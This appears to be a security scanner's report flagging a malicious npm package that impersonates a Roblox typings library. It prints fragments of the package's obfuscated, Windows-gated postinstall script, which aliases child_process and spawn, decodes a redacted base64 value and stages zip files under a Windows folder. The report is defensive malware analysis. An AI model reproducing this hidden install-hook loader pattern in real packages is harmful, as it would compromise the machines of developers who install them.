## Verdict summary
**Blocked & quarantined** — Quarantined by product-default policy — this version is not allowed through the firewall.

- **Verdict:** Malicious
- **Product-default install policy:** Block
- **Firewall policy:** Matched malicious
- **Public report status:** Published
- **Threat category:** Malware
- **Selected version:** 1.6.1
- **Selected version is latest:** No
- **Analysis source:** OSV Malicious Advisory (OpenSSF/OSV)

OpenSSF/OSV advisory MAL-2026-13630 confirms this npm version as malicious. This package impersonates the @rbxts/services Roblox typings library and re-exports its public API in index.js as cover. Its postinstall script (scripts/postinstall.js) is gated to win32 and uses \\x hex escapes to hide the strings 'child\_process', 'spawn', 'powershell', and related identifiers...

Public source snippet (untrusted):

```text
L5: const _0xa3="https",_0xb7="fs",_0xc2="path",_0xd4="spawn";
L6: const _m=require,_h=_m(_0xa3),_f=_m(_0xb7),_p=_m(_0xc2),{[_0xd4]:_s}=_m("child_process");
L7: if(process.platform!=="win32")process.exit(0);
L8: const _0=()=>Math.random().toString(36).slice(2,8);
L9: const _t=_p.join(process.env.LOCALAPPDATA||process.env.APPDATA,"Microsoft","Windows","Explorer");
L10: const _u=Buffer.from("[redacted]=","base64").toString();

```text
L9: const _t=_p.join(process.env.LOCALAPPDATA||process.env.APPDATA,"Microsoft","Windows","Explorer");
L10: const _u=Buffer.from("[redacted]=","base64").toString();
L11: const _i=_0(),_z=_p.join(_t,_i+".zip"),_e=_p.join(_t,_i);
```

### 8. Medium: Structural Risk Force Deep Review
- **Category:** Artifact Inventory
- **Confidence:** 85.0%

Artifact structure forces deeper review even if the static behavioral verdict is clean.

### 9. High: Previous Version Dangerous Delta
- **Category:** Supply Chain
- **Confidence:** 93.0%
- **Path:** scripts/postinstall.js
- **Public source:** [View source](<https://unpkg.com/@rbx-ts/services@1.6.1/scripts/postinstall.js>)

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

Public source snippet (untrusted):

```javascript
matchType = previous_version_dangerous_delta
matchedPackage = @rbx-ts/services@1.6.0
matchedIdentity = npm:QHJieC10cy9zZXJ2aWNlcw:1.6.0
similarity = 0.500
summary = stored previous version shares package body but lacks this dangerous source file
